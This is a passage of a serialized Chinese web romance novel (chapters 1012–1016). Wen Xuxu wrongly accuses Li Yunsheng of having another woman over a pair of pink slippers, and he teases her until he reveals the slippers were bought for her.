他的目光先是掠过她鬓角垂落的碎发,又缓缓滑向她锁骨处那枚未完全遮掩的咬痕,如果没猜错,那应该是昨晚他留下的印记。 温栩栩注意到他看过来的眼神,呼吸一滞,指尖不自觉绞紧了裙摆,耳尖滚烫如灼。 “可以跟我走了?”他的嗓音裹挟着雪松气息,尾音微扬却无半分温度。 起身时,他随手将手机揣入西装内袋。 他垂眸凝视她发红的耳尖,唇角忽而勾出极浅的弧度,似笑非笑:“还不过来,是等我过去?” 似是听出男人话语之中的调侃,温栩栩赶紧小跑了两步走近。 踩着高跟鞋跑就是很容易站不稳,就是温栩栩也踉跄了下直直的扑进黎云笙怀中。 男人一动不动,任由她扑进来。 温栩栩只觉得他的胸练得都是肌肉,太硬了,撞的脸疼。 黎云笙的胸膛撞得她鼻尖发酸。温栩栩踉跄着站稳,指尖无意识地抵在他胸膛上,触感坚实如铁。她抬眼瞪他,眸中水光潋滟眼神中明显都带着控诉,似乎是被他欺负了似的:“练得跟钢板似的,不知道放松点?” 温栩栩无理取闹。 “……”黎云笙捏了下眉心,“那种情况下谁能让自己身体放松?” 黎云笙喉结微滚,捏住她后颈的力道加重几分:“肌肉记忆,改不了。”他眼底暗芒闪烁,似有未言的隐喻。 温栩栩耳尖更烫,偏要嘴硬:“就是不行。” 黎云笙微微眯眸,温栩栩又偷偷看他,然后赶紧移开视线:“我什么都没说!” 黎云笙轻啧一声,再次揪住她的后脖颈,更是没给她逃跑的机会。 车内一路沉默,黎云笙单手把着方向盘,侧脸线条冷峻如雕塑。 温栩栩偷觑他握档把的手,指节因用力而泛白,莫名想起昨夜他扣住她手腕的力度,也是这样克制而紧绷。 她正出神,忽觉车身轻晃,公寓楼已近在眼前。 车子一路开到黎云笙在帝城大学附近买的高档公寓。 他住在这边其实就是图方便。 带着温栩栩下车,温栩栩还是第一次来黎云笙的公寓,脚下踩着柔软地毯,环顾四周,黑白灰的极简风格冷冽如他本人,大理石吧台折射着冷光。 她忽然想起自己那堆满杂物的小窝,此刻对比下竟真像是狗窝。 虽然不想承认,但一对比真的像狗窝。 “鞋子在鞋柜上,没开封的粉色拖鞋是你的。”黎云笙提醒一句,似是担心温栩栩穿错鞋子。 温栩栩明显怔了下。 粉色鞋子? 黎云笙总不能穿粉色鞋子,他这是给女人买的? 给哪个女人?他有女人了?有女人干嘛还招惹她? 渣男啊! 温栩栩说到这里眼神又在控诉了。 黎云笙实在是不想猜测温栩栩脑内又排演了多少小剧场。 “又在想什么?”黎云笙脱外套的动作一顿,衣架金属碰撞声清脆刺耳,他脱掉外套搭在衣架上轻飘飘询问,显然黎云笙觉得应该不是太大的事情。 温栩栩也不憋着,就指着那双粉色的拖鞋质问:“你是不是有别的女人了。” 他转身时,眉梢挑起似笑非笑的弧度:“你说呢?”尾音裹着危险的缱绻。 她自己都没意识到自己说的是“别的女人”,甚至潜意识里面,可能她自己都认为自己是黎云笙的人了。 黎云笙此刻面上表情确实是有点古怪了,全因温栩栩这句话。 温栩栩真的知道她自己在说什么吗? 黎云笙眼底掠过幽光,忽而欺身逼近。 温栩栩后退半步,脊背抵上冰凉墙面,嗅到他身上雪松气息。 他指尖捏住她下颌,力道温柔却不容抗拒:“温栩栩,你倒是先把自己的定位想清楚。” 温栩栩果然有点恍惚了,定位,什么定位? 她觉得自己又有点听不懂黎云笙在说什么了。 她在他面前好像总是这样恍恍惚惚有点呆呆的,但就是透着骨子可爱的劲儿,让人移不开眼。 黎云笙眯眸:“你猜那双鞋是给你准备的,还是为‘其它’女人准备的,不妨自己猜猜看。” 又在让她猜了。 温栩栩却是满脑子都觉得他好渣啊,他好渣啊! 第1012章 十恶不赦的渣男 温栩栩此刻满脑子都是“黎云笙好渣啊”的念头,仿佛被这个“渣”字彻底攻占了思绪。 她气得胸口微微起伏,连呼吸都变得急促起来。 猜什么猜? 她不猜! 鞋子都准备好了,绝对是有了别的女人,有了别的女人还招惹自己,Sara说的果然没错,这些少爷们个顶个的渣。 黎云笙自然察觉到了她眼底翻涌的怒火与委屈。 他微微皱眉,修长的手指捏住她的下巴,指尖的力度不似往常那般温柔,甚至带着几分惩罚性的力道,微微的用力。 温栩栩被迫仰起头,肌肤相触的瞬间,她感受到他指腹的温度,烫得她耳尖发颤。那力道像是要将她的下巴捏成滑稽的鸭子嘴,可他却迟迟不松手,反倒在看到她鼓起的腮帮子时,喉间溢出一声轻笑。 “温栩栩,你又在胡乱想些什么东西了。” 他的声音低沉,带着几分无奈与压抑。温栩栩的控诉眼神简直要化作实质的利箭射向他了。 嘴巴都要被捏成鸭子嘴了。 可恶。 凭什么他做了亏心事还这么理直气壮?她气得眼眶泛红,舌尖抵住被他捏得发疼的唇角。 温栩栩的眼神都带着控诉,黎云笙还是那副冷淡模样,他不顾温栩栩此刻的愤懑,甚至又用力捏了下,温栩栩鼓鼓嘴巴,似乎有点想咬人,黎云笙防备她突然咬人,却没料到温栩栩哼哼了一声,忽然抬脚重重踩在他锃亮的皮鞋上。 这一踩用了十足十的力气,仿佛要把所有不甘都碾进他脚底的纹路里。 黎云笙:“……” 黎云笙猝不及防,眉峰猛地一拧。 他低头看她,温栩栩也昂着头回瞪,眼底闪烁着挑衅的小得意,像只炸毛却硬要装凶的小猫。 她踩完人还理直气壮的模样让他气笑出声,胸腔里那股无名火竟莫名烧成了燎原的暧昧。 他低头,温栩栩也跟着他低头,看那模样似乎还带着点小得意。 踩了他到底有什么好得意的? 他气笑了。 “温栩栩,你是不是觉得我的脾气很好?” 他逼近一步,温热的气息拂在她鼻尖。 温栩栩慌忙摇头,发丝扫过他手腕,痒得他指尖微颤。 开玩笑,黎云笙的脾气哪里好了? 他发起火来就像暴风雨前的闷雷,可此刻盯着她的眼神却像浸了蜜的刀刃,危险又蛊惑。 她不自觉后退半步,后背抵上冰冷的墙壁,而他的身影却如阴影般将她笼罩。 “那你还踩我。”黎云笙也是不理解温栩栩此刻的脑回路。 黎云笙的质问里裹着笑意,拇指指腹忽然摩挲起她被他捏得泛红的脸颊。 温栩栩的皮肤薄得像蝉翼,轻轻一碰便染上绯色,此刻在他指尖下更似要滴出血来。 她鼓起的嘴巴像含了颗未爆的糖,湿润的唇瓣微微嘟起,黎云笙忽然有种想咬破那层倔强的欲望。 温栩栩颇有点理直气壮,“谁让你是渣男了,渣男,就是要被人人喊打的。” 她理直气壮地吼回去,声音却因他近在咫尺的压迫变得软糯。 黎云笙呵了一声,捏着她下巴的手忽然改为扣住她的后颈,迫使她更贴近自己。 两人的鼻尖几乎要挨在一起,温栩栩能清晰看到他瞳孔里自己的倒影,慌乱如小鹿,却倔强地不肯眨眼。 她此刻就是要指责黎云笙是渣男,怎么看怎么都是自己占理。 黎云笙呵了一声:“我是渣男?” 他尾音上挑,带着危险的戏谑。 温栩栩别开脸,却被他强硬地转回来。 四目相对,她的睫毛在他呼吸的热流中颤抖,黎云笙的眼神却像漩涡般将她卷入,那里面有恼怒、无奈,还有一簇她看不懂的火光,烧得她心跳如擂鼓。 但温栩栩一脸“你不是渣男谁是渣男”的表情看着甚至还有点嚣张嘚瑟。 黎云笙实在是不知道自己怎么就渣男了简直是没道理,完全不给人任何辩解的机会,直接一口黑锅就扣上来了。 黎云笙忽然松开手,改为用指节轻轻刮过她通红的耳垂:“温栩栩,你讲不讲道理了?” 他的声音染上了沙哑,温栩栩只觉得那声音像一根羽毛,从她耳尖一路搔到心尖。 她不服气地瞪他,却发现他的眼底不知何时漫上了一层暗色,仿佛暴风雨前的云层,压得人喘不过气。 她忽然意识到自己此刻的姿势有多暧昧,被他困在墙与他之间,呼吸交缠,连他衬衫上淡淡的雪松香都霸道地侵占她的感官。 她咬住下唇,试图找回主动权,却见他忽然俯身,唇几乎要擦过她的耳畔。 温栩栩浑身一震,正要推开他,却听他低笑:“你给人扣黑帽子,还嚣张上了?” 那气息烫得她耳膜发酥,她终于败下阵来,眼神慌乱地四处躲闪,却总撞进他深邃的眸子里。 两人的目光像缠斗的丝线,越纠越紧,直到她发现他眼底的恼怒不知何时化作了灼热的欲念,而自己竟在不知不觉间被他蛊惑得忘了呼吸。 黎云笙看她这副模样,实在是很想揉一把她的头,揉得她像小猫般直哼唧。 可指尖刚触到她柔软的发顶,温栩栩却忽然抬手抵住他的胸膛,力道轻得像是欲拒还迎的推搡。 黎云笙内心满是无奈。 他自认自己向来对异性敬而远之,连同事间的聚餐都鲜少参与,那些试图靠近的莺莺燕燕更是被他三两句冷淡的回应挡在安全距离之外。 洁身自好到近乎苛刻,连盛景炎都调侃他“活该单身”,可怎么到了温栩栩这儿,就成了十恶不赦的渣男? 他们几个人中,也就是盛景炎红颜知己多一些,可盛景炎那些红颜知己不过是逢场作戏的“演员”,他们这几个兄弟谁不是守着各自的底线?没一个是真的女友爱人,换句话说他们这几个人没一个渣的。 他实在想不通这口黑锅从何而来,更不知道自己怎么跟渣沾边的。 温栩栩却全然不听他的辩白,小脸皱成气鼓鼓的包子,温栩栩一脸我不听我不听的表情,简直是嚣张至极。 第1013章 现在知道弄错了害羞了? 温栩栩这副模样非但没有让他恼火,反倒在他心底挠起一片痒。 她嚣张的样子像只竖起刺的小刺猬,偏偏刺是软的,扎得人心又疼又痒。 她给人扣黑帽子她还嚣张上了。 黎云笙看她这副模样,实在是很想揉一把她的头,揉的她直哼唧才好。 黎云笙忽然起了逗弄她的心思,指尖一转,直接从她耳尖捏住软软的耳垂。 “呜……”温栩栩脸颊瞬间泛起薄粉,像是被掐住要害的小兽。 她刚要发飙,那力道却带着恼人的温柔,揉捏间竟让她生出几分羞恼。 黎云笙眼底染着促狭的笑,拇指指腹沿着她耳廓的弧度轻轻摩挲,温热的触感让她的耳尖愈发滚烫。 “不许揉了!”她嚷出的抗议软绵绵的,尾音还带着撒娇的颤。 说是发飙,但其实声音也确实是没带着多少怒意,跟撒娇差不多。 黎云笙喉结微滚,掌心痒得更厉害。 啧,更想揉她了。 黎云笙这么想就这么做,不会只是空想。 他非但没停手,反而变本加厉地揪了揪她小巧的耳尖,力道不过分,却足够让她浑身紧绷。 温栩栩还在这里不服气呢,黎云笙的手就已经捏住她的耳朵,然后又揪了揪。 温栩栩瞪圆了眼,心跳在胸腔里乱撞。 温栩栩:“!” 他!到底!在干什么! 当她是玩具吗一直捏一直玩儿的。 可恶,太可恶了。 可恼人的是,被他触碰的地方竟酥酥麻麻地泛着异样,连生气的底气都泄了大半。 黎云笙是什么欺负人的恶霸吗? “温栩栩……”黎云笙的声音忽然低下来,染着沙哑的磁性。 他倾身逼近,呼吸拂在她发烫的耳畔,“你这口锅扣得也太不讲道理,嗯?” 温栩栩的耳膜被那声尾音的“嗯”烫得发颤,后颈被他另一只手虚虚扣住,逃无可逃。 她这才惊觉两人之间的距离近得能数清他睫毛的数目,他眼底的无奈里分明藏着委屈,那模样……根本不像一个脚踏多船的渣男该有的神情。 而且! 黎云笙这种人竟然会委屈? 温栩栩有一瞬间都觉得自己是不是眼花了,不然自己怎么能看到黎云笙委屈了。 拜托,那可是黎云笙! 心底那根名为“误会”的刺忽然开始动摇。 温栩栩怔忡间,黎云笙的拇指忽然抚上她因生气而微微发干的唇,指尖的湿润与温度让她猛然回神。 暧昧的火花在指尖炸开,她终于后知后觉地意识到,好像真的有可能是自己搞错了。 可这份认知却让她更慌乱,只能有些羞恼的推搡他:“你走开!别碰我!” 黎云笙擒住她乱挥的手腕,力道不重,却将她彻底禁锢。 黎云笙凝视着她眼底翻涌的羞恼与动摇,忽然轻笑出声。 那笑声像是羽毛拂过心尖,又似暗藏戏谑的钩子,勾得温栩栩耳根发烫。 她猛地别开脸,却被他指尖捏住下巴转回来,力道不轻不重,却带着不容抗拒的强势。 四目相对,他漆黑的瞳孔里映着她仓皇的神色。 温栩栩心里一团乱麻,尴尬如潮水漫上脸颊,连耳尖都烧得通红。 她觉得自己就像个无理取闹却被当场抓包的孩童,可那股别扭的劲儿又让她梗着脖子不肯低头。 眼神左闪右躲,就是不敢与他深邃的目光长久对视。 黎云笙倒是好整以暇,修长的手指拨弄着她衣领处别着的那朵绢花,那是早上出门时随手簪的,此刻被他指尖勾着花瓣轻转,脆弱的丝蕊在他指节间颤巍巍地晃。 “你冤枉了我,这件事要怎么处理?说说。”他开口,声音轻缓,尾音却微微上挑,像是含着笑,又像是压着未尽的恼意。 温栩栩瞪他,却在对上他戏谑的眼神时败下阵来。 恶霸!就算现在不渣,也绝对是恶霸! 她在心里暗骂,腮帮子鼓鼓的,像只气恼的河豚。 他凝视着她眼底翻涌的羞恼与动摇,忽然轻笑出声:“现在知道弄错了害羞了?” 温栩栩再次别开脸,又被黎云笙捏着下巴转过去。 可恶,坏人! 四目相对,她终于看清他眼底的坦荡与无辜。 温栩栩心里有那么一点点愧疚,但下一秒就又理直气壮起来,谁让黎云笙总是捏她下巴了! 就算她搞错了,那黎云笙也绝对是恶霸。 温栩栩又想瞪他了。 其实温栩栩这就是听Sara说了那个女爱豆的事情,所以此刻对黎云笙这种出身的人有些祛魅,或者说带着点同仇敌忾的感觉。 因为她和那个女爱豆的遭遇其实很像,她很轻易的就会将自己带入进去,黎云笙呢,就会被她安到赵云河身上了。 她已经把自己想成了会遭遇迫害的可怜女性,而黎云笙就是会辣手摧花的贵族少爷。 一个天一个地,黎云笙如果想弄死她,都不需要本人动手,那些想讨好他的人就能动手。 她看着黎云笙,甚至有的时候猜测黎云笙此刻温和的模样不过是伪装! 她甚至能想象出那些狗血剧里的情节,贵族少爷玩弄人心,等她失了利用价值便弃如敝履,甚至动用权势让人永世不得翻身。 虽然告诉Sara不必为自己担心,自己身边还有个韩城护着。 但韩家和黎家其实也并没有差多少。 如果黎云笙真的要迫害她,韩城也不一定帮得了她。 她只能说是认为黎云笙不会主动害她,就算现在对她有些兴趣,等这兴趣散了后大概不会让一些乱七八遭的人骚扰她。 这大概就是黎云笙比赵云河要好的地方。 可即便如此,温栩栩还是会觉得黎云笙未来会是个渣男。 即便这个男人现在看着人模人样,可谁知道不是禽兽披上了一层人皮呢? 眼前的人明明不是赵云河。 赵云河是阴狠的毒蛇,而黎云笙……他的眼神太清明,像能照见人心的明镜。 方才捏她下巴时指尖的温度还带着未散的暖意,拨弄绢花时指节分明的手甚至透着几分闲适。 温栩栩心里的刺又开始摇晃。 第1014章 我在等你的答案 她想,或许她真的错怪了他? 可那又如何?她绝不能示弱! 念头转到这里,她梗着脖子瞪回去,“我不道歉!你就算现在不是渣男,未来也会是渣男,迟早的事情,我不道歉,我没错!” 黎云笙真是猜不到自己今天要被温栩栩气笑几次了。 这年头还能贷款说他渣男了? 他自己都不知道自己是渣男,温栩栩就这么给她开预言了? 离谱不离谱? 黎云笙觉得离谱,但温栩栩却觉得这就是真相,她就是为黎云笙贷款了他是渣男的真相。 说白了,温栩栩就是个小祖宗。 黎云笙活了二十多年,连异性手都没牵过几次,温栩栩倒好,直接给他开了张“未来渣男”的判决书。 他舌尖顶了顶后槽牙,忽然倾身逼近。 温栩栩一惊,后退半步却被他另一只手扣住后腰,彻底困在他与墙壁的缝隙间。 呼吸纠缠,他温热的气息扑在她鼻尖:“温栩栩,你这逻辑倒是清奇。怎么?还打算给我列个‘渣男预备役’名单?” 她心跳如擂鼓,却仍嘴硬:“那又如何?你们这些出身显赫的人,玩弄人心不是惯常手段吗?今天对我有点兴趣,明天腻了自然有别人代劳收拾烂摊子……” 说到最后,声音却弱了下去。 显然,温栩栩就把她自己当成那烂摊子了。 黎云笙眼底的无奈愈发浓重,指尖忽然抚上她因紧张而微微发颤的睫毛。 温栩栩眼睫一颤,像是受惊的蝶翅,他动作极轻,却让她浑身僵住。 “显赫出身就活该被扣这样的帽子?”他问,声音染上几分涩。 温栩栩抿唇不语,心底却泛起一丝涟漪。 是啊,黎云笙从未主动招惹她,甚至今日的靠近都带着几分克制。 可那又如何?这世界上有太多权势碾轧的惨剧,韩城虽护着她,但韩家与黎家……如果真的有了碰撞,韩城只是韩家的二少爷,真的能护得住她吗?她不敢赌也不能赌。 因为赌输的结局不是她想看到的。 这份恐惧让她固执地抓住“渣男”的标签,好像现在赶快给黎云笙贴上渣男的标签,仿佛这样就能筑起一道防护墙,将自己和黎云笙完全隔绝不会被伤害了。 可她自己心里也清楚,这跟掩耳盗铃无异。 黎云笙看着她此刻失神恍惚的模样忽然轻笑,指尖从她睫毛滑落至脸颊,在她泛红的肌肤上轻轻蹭了蹭:“既然你这么笃定,不如我们打个赌?” 他看着温栩栩,缓缓开口:“如果我黎云笙未来真成了你口中的渣男,你大可随时踩我、骂我、甚至——”他指尖忽然下移,在她心口轻轻点了点,“捅我一刀,命都可以给你,你信不信?但若我始终不是渣男,你就要……”他眼底闪过促狭的光,“守在我身边,你敢不敢?” 温栩栩彻底愣住了。 这算什么赌注?赌他是不是渣男?这简直像一场荒诞的玩笑。 他是要证明什么?可为什么要向自己证明? 她望着他近在咫尺的脸,呼吸间缠绕着他的气息,心跳如乱弦,连指尖都微微发麻。 她这才惊觉,自己竟不知不觉被他的逻辑带着走,连最初的愤怒都散了大半。 黎云笙勾唇轻笑,那笑里藏着几分无奈,几分纵容,仿佛面对的不是一场争执,而是顽童无端的胡闹。 “温栩栩,说话,我在等你的答案。”黎云笙的声音低缓,带着诱哄的意味。 温栩栩喉咙发紧,仿佛被无形的丝线缠住。 她想反驳,想质问,可那些尖锐的词句却在触及他眼底的坦荡时化作一团绵软的雾气。 她觉得自己此刻已经不会说话了,好像说什么都会打破这诡异的静谧。 他催她,她却像被定住的木偶,连摇头都成了奢望。 “不想说话,你就不能当我是个哑巴吗。”温栩栩委屈地咕哝,声音细若蚊蝇。 黎云笙轻笑出声,指尖忽然捏住她耳垂轻扯,动作带着戏谑,却莫名温柔。“不可以,哑巴不会说别人是渣男。” “说话,赌不赌。” 所以到底为什么一定要跟她赌这个。 这跟欺负人有什么两样。 温栩栩很小声的哼了一下。 “你说你不是渣男,还要跟我打赌,说你如果不是渣男我就要守着你,你都不是渣男了干什么还要我守着你,你那时候都有别的女人了!而且你现在都没有告诉我这是谁的鞋子呢!你就是渣男!” 得,又绕回鞋子问题上了。 黎云笙实在是很想敲敲她的小脑袋,看看她脑子里面到底都想了些什么乱七八糟的。 “温栩栩。” 他眼底的促狭愈发明显,温栩栩气恼地瞪他,却在他突然俯身的动作中彻底僵住。 他单膝跪地的瞬间,温栩栩的瞳孔猛地收缩。 那双粉色的女士拖鞋被他抽出,鞋面缀着的珍珠在灯光下泛着柔光。 她怔住了,似是不明白他现在这是在干什么,可下一秒,男人已经握住她纤细的脚踝。 温栩栩浑身一震,肌肤相触的刹那,仿佛有电流窜过脊背,他的掌心温热,指节分明,动作却极轻,像是怕惊碎了什么易碎的珍宝。 她低头望着他,脑袋好像在此刻彻底卡壳了。 黎云笙为她脱去高跟鞋时,指尖擦过她脚心的敏感肌肤,温栩栩脚趾本能地蜷缩,他却顺势托住她的足弓,将拖鞋缓缓套上。 鞋面贴合的弧度完美,仿佛这双鞋本就是为她量身定制。 温栩栩又愣了,望着他低垂的眉眼。 他睫毛很长,在眼下投下细密的阴影,专注的神情像是工匠雕琢心爱之物,带着虔诚的珍重。 “你一直问我是谁的鞋子,猜测我有了女人,为什么不猜这是我为你准备的?你穿上这双鞋子很合脚不是吗。”他忽然抬头,目光撞进她茫然的眼底。 温栩栩只觉得自己此刻内心一片恍惚,甚至觉得在此刻自己好像已经听不懂黎云笙在说什么了。 她张了张口,却发不出声音,喉咙里堵着惊诧与难以置信。“黎云笙,你知道你在开一个多大的玩笑吗。”她终于挤出这句话。 第1015章 就瞪他,就瞪! 黎云笙倏地轻笑,温热的气息扑在她脚踝处,引得她肌肤泛起一阵颤栗。 他站起身,与她平视,指尖仍握着她的脚腕,力道轻柔到近乎安抚。 “为什么不能是我为你准备?温栩栩,你总爱往最坏的结局想,可若我偏偏要给你最好的答案呢?” 他的声音染上几分沙哑,目光却愈发炽热,温栩栩只是对上他死磕的眼神就觉得自己快 温栩栩只觉心跳如擂鼓,连耳尖都烧得通红。 她试图抽回脚,他却顺势将她拉入怀中,力道不重,却不容抗拒。 呼吸再度纠缠,他的胸膛紧贴着她的后背,掌心仍托着她那只穿着拖鞋的脚,仿佛要将她整个人圈入自己的领地。 “你可以自信一点,这是我为你准备的。”他忽然低语,声音里藏着某种压抑的情愫,温栩栩浑身一震,又有些惶然。 她嗅到他身上淡淡的雪松香,与他指尖残留的肌肤温度交织。 他明明在笑,眼底却藏着几分难以言喻的郑重。 动作明明强势,掌心却温柔到近乎虔诚。 温栩栩忽然觉得,或许自己真的错了。 这双鞋的尺码分毫不差,他若早有他人,又怎么会在这个时候为她亲自换鞋子。 他可是黎云笙啊。 温栩栩觉得自己此刻真的太矛盾了。 她猜不透黎云笙的心,也完全看不透他这个人。 “黎云笙,你到底想做什么。”她终于开口,声音带着自己都未察觉的颤音。 他轻笑,低头在她耳畔轻啄:“我想做的,你猜不到吗?”尾音缠绵,带着蛊惑的意味。 温栩栩彻底乱了,连那只被他托着的脚都微微发烫。暧昧如藤蔓攀上心墙,她不知该推开他,还是放任自己沉溺于这片刻的温柔。 温栩栩现在满脑子都是,为什么是我? 黎云笙真的知道他自己在做什么吗? 温栩栩有些茫然,恍惚,甚至怔愣。 她伸出手抵在他胸口推了下。 “你现在靠的太近了……你好像总是对我动手动脚。” “靠得太近?”黎云笙忽然轻笑,声音低哑如砂纸摩擦。 他微微俯身,鼻尖几乎蹭到她发烫的耳垂,温热的吐息激起一阵颤栗。 “这就叫近了?”他说着,指尖从她鬓角滑落,沿着下颌线缓缓游走。 温栩栩浑身僵直,连反驳的话都哽在喉间。 她嗅到他袖口残留的檀香,与他本身的冷冽气息交织,竟莫名催生出一种令人眩晕的缠绵感。 温栩栩觉得这样不好,自己前一秒还觉得黎云笙是渣男呢,怎么下一秒就开始跟他这样亲密。 这样太没有原则了。 温栩栩忍不住深吸一口气,又推他一把:“让开……你别总靠我这么近,我不高兴。” 温栩栩深吸一口气,胸口起伏着,像只被惊扰的幼兽。 她再次推搡黎云笙,指尖却抵在他结实的胸膛上,感受到他心跳的震动,莫名烫红了耳尖。 “让开……你别总靠我这么近,我不高兴!”她声音带着恼意,却因底气不足而发颤。 黎云笙微微眯眸,目光落在她脸上,将她脸上每一寸表情都烙进眼底,完全没有移开视线的意思。 空调的嗡鸣在寂静中显得格外清晰,月光从窗帘缝隙漏进来,在他侧脸勾出锋利的轮廓。 “温栩栩,你是不是忘记了,你刚才冤枉了我。”他语调低缓,带着若有似无的叹息。 温栩栩顿了下,似乎是有一瞬的迟疑。 “那不怪我,谁让你是黎家少爷了。” 她梗着脖子,却悄悄垂下眼帘躲避他的目光。 有钱人,就是很容易变成渣男,对,没错。 这个念头在她脑中反复强调,像自我催眠的咒语。 到现在了温栩栩都还是那副理直气壮的样子。 黎云笙忽地轻笑,指尖抚上她发顶,揉乱了她精心打理的卷发。 温栩栩下意识躲,却被他的手掌禁锢住头颅,温热触感透过发丝传来,激得她浑身一僵。 “看来我在你面前真的脾气很好。”他语气里掺着无奈与纵容,另一只手不知何时已托住她的下巴,拇指摩挲着她柔软的脸颊。 温栩栩被迫仰起头,两人的视线在咫尺间胶着。 温栩栩没再说话躲他的手,被他两手捧住头,这次没办法躲了,只能鼓着脸颊瞪他。 黎云笙却觉得可爱得紧,指尖故意用力捏了捏。 他觉得自己在温栩栩面前脾气肯定很好,不然温栩栩为什么都不怕他的? 温栩栩呢?还在瞪他。 瞪,瞪,瞪,继续瞪。 “……”黎云笙啧了一声,捏了捏她的脸,微微用力。 温栩栩哼唧一声。 “哼唧一声,倒像只小奶猫。”他低笑,尾音带着勾人的颤。 什么啊! 说别人是奶猫什么的,真的太羞耻了,黎云笙就是恶魔。 温栩栩耳尖愈发滚烫,连瞪人的气势都弱了三分。 黎云笙突然收拢五指,掌心将她小巧的脸颊完全拢住,指节因用力而微微泛白。温栩栩的呼吸骤然凝滞,他的拇指抚过她柔软的腮肉,像触碰一片温热的棉花糖。 “好,不提今天的事。那你给我说清楚昨晚都发生了什么,为什么会给我送黄瓜,还有你留的纸条,嫩黄瓜?什么意思?”他的声音裹着笑意,尾音却带着危险的低哑,仿佛在逗弄。 温栩栩耳根腾地烧起来,羞耻仿佛在此刻变成了滚烫的热烈的熔岩在血管里奔涌。 甚至在这一刻她觉得自己像被抛进沸水的虾,连脚趾尖都泛着灼烫的绯红。 什么啊!黎云笙真的知道他自己在说什么吗?干什么突然要问这个? 那三个字从他薄唇间吐出时,那样的暧昧简直直接砸到她脸上了! 她胡乱摇头,发丝蹭过他手腕,激起一阵酥痒的电流。 “又不说话?这个问题很难回答吗。”黎云笙逼近一步,温栩栩被迫后退,脊背抵上冰凉的玻璃窗。 空调冷风贴着皮肤窜过,却浇不灭体内燎原的火。 她觉得自己快烧着了! 睫毛颤得厉害,像蝴蝶扑簌的翅膀。 黎云笙的瞳色在昏暗光线下变得更深邃,温栩栩突然生出一种错觉,他此刻的目光或许并非质问的意思,而是某种克制的、压抑的渴望。 第1016章 哼,不听男妖精讲话! 她慌得想逃,却被他桎梏在掌心与窗棂之间,无处可遁。 “温栩栩,你要装哑巴了。”他的气息喷在她耳廓,温热的、却又清新的味道。 温栩栩的耳尖瞬间烫得能煎鸡蛋,她觉得自己整个人可能都成了烧红的炭。 她紧闭着嘴巴,就是不说话。 不说话,看你能拿她怎么办,说白了就是个小无赖。 黎云笙的嗤笑裹着温热的气息拂在她耳畔,温栩栩的睫毛颤得更厉害。 下一秒,他猛地收拢手臂,将她整个人带进胸膛与玻璃窗的狭小间隙。 温栩栩的后腰抵上冷硬的窗框,黎云笙的心跳隔着薄衬衫清晰传来,震得她耳膜发颤。 “装哑巴是吧?”他捏住她的下巴,指尖力道不重,却像羽毛般撩拨着她敏感的肌肤。 温栩栩被迫睁眼,对上一双浸着笑意的墨眸,那瞳孔深处仿佛藏着化不开的浓稠夜色,又似有星火在暗处闪烁。 他还在问,似乎是真的很想知道原因。 但温栩栩觉得这人就是在装蒜。 温栩栩内心哼哼几声,真会装,真会演,完全把别人当傻瓜吗。 温栩栩不吱声。 不听不听,全是噪音,她!什么!都没听到! 温栩栩直接闭眼来反抗黎云笙。 黎云笙嗤笑一声,紧紧把人搂抱住。 “温栩栩,你难道不知道这种时刻闭上眼睛就是等着对方亲你?”他的唇几乎贴着她的耳垂,尾音带着钩子似的上扬。 温栩栩的耳尖瞬间烧成红玉,喉间哽着一声模糊的抗议,却被他用拇指压住唇瓣堵了回去。 她的心跳快得离谱,仿佛下一秒就要冲破肋骨。 黎云笙的呼吸越来越沉,喷洒在她颈侧,引得那片肌肤泛起细密的战栗。 “你这样的表情。”他忽然松开桎梏,转而用指腹摩挲她泛红的眼尾,“怎么?你很希望我亲你?” 黎云笙凑近她,开口的话都好像带着几分蛊惑之意。 温栩栩的瞳孔缩了缩,看见他眼底的自己,双颊通红如熟透的苹果,睫毛湿漉漉地黏在眼下,像受惊的小鹿。 她突然生出一种荒唐的错觉,此刻的黎云笙不再是那个冷峻的掌权者,而是蛰伏在暗处的掠食者,正用最克制的姿态享受猎物挣扎的乐趣。 太……太奇怪了。 这样的黎云笙,外面的人就算真的看到了也是不敢认的吧,谁能想得到黎家那位少爷是这种性子的人呢? 温栩栩闭着眼睛都有些扛不住。 黎云笙!男妖精!就是男妖精。 哼,不听男妖精讲话! 温栩栩继续闭着眼,她就不相信没有醉酒的黎云笙真能强吻她。 温栩栩想到这里还有点得意。 黎云笙看她这幅模样,明显就是在赖皮。 他忍不住叹了口气。 “温栩栩,你这么喜欢耍无赖?” 哼哼,不听不听,听不到! 温栩栩心里偷偷嘀咕,不理人。 温栩栩的睫毛在眼下投下颤动的阴影,黎云笙的目光落在那抹不安分的颤动上,喉结无声滚动。 她闭眼的模样像只鸵鸟。 可不就是鸵鸟吗?装死的模样实在是……太可爱了。 可她却不知这姿态更激起了人逗弄的兴致。 他忽然轻笑,温热的气息喷洒在她耳廓:“装睡的小狐狸,尾巴可是露出来了。” 什么装睡的小狐狸,黎云笙为什么就这么喜欢把她当做小动物。 而且狐狸就狐狸,为什么一定是“小”狐狸! 温栩栩执着于那个“小”字,闭着眼睛反驳,“不小!”甚至在这种时候故意挺起胸脯。 胸膛刻意向前一挺,衣服的领口微微下滑,露出锁骨精致的弧度。她偏要证明什么似的,指尖还下意识在胸前比划了个夸张的弧线:"你看清楚!明明就不小!" 对!就是你!黎云笙!看清楚了!不小! 温栩栩性子确实是这样,就跟那些一米八的男人一定会把身高焊在介绍里面,口头禅估计都要变成“你怎么知道我180?”甚至可能精确到小数点! 温栩栩跟这群人几乎一样,不同的是温栩栩突出的会是她的身材。 反正不能说她小。 她可骄傲了。 黎云笙听到这答案一时都有些无言以对,甚至觉得温栩栩实在是让人说不出话了。 "好好好,是大号的灵狐。"他妥协地举起双手,语气里带着纵容的宠溺。温栩栩这才满意地哼了声,得意地甩了甩长发,发尾扫过黎云笙的手背,痒丝丝的。 黎云笙这话完全是随着温栩栩的话说的。 温栩栩高兴了更得意了。 “所以这句话应该是,装睡的大狐狸,狐狸尾巴露出来了。”黎云笙很好脾气的重复了一次。 他说这句话的时候唇瓣是贴着她的耳朵说的,温栩栩的心跳漏了半拍,只觉得耳边的声音像是浸了蜜的毒药,蛊惑又危险。 她咬住下唇,却觉腰间的手臂蓦然收紧,黎云笙已经将她彻底锢入怀中,胸膛的起伏与她紊乱的心跳渐渐同频。 布料摩擦的窸窣声在寂静中无限放大,她甚至能数清他衬衫第二颗纽扣上细密的纹理。 “在我面前这样毫无防备的闭着眼睛,是真当我不敢亲?”他鼻尖抵住她发烫的耳垂,呼出的热气再一次烫到了她。 温栩栩的脊背僵直如琴弦,她自己都觉得实在是奇怪,自己明明是闭着眼的,但此刻却仿佛能看见他眼底的幽火。 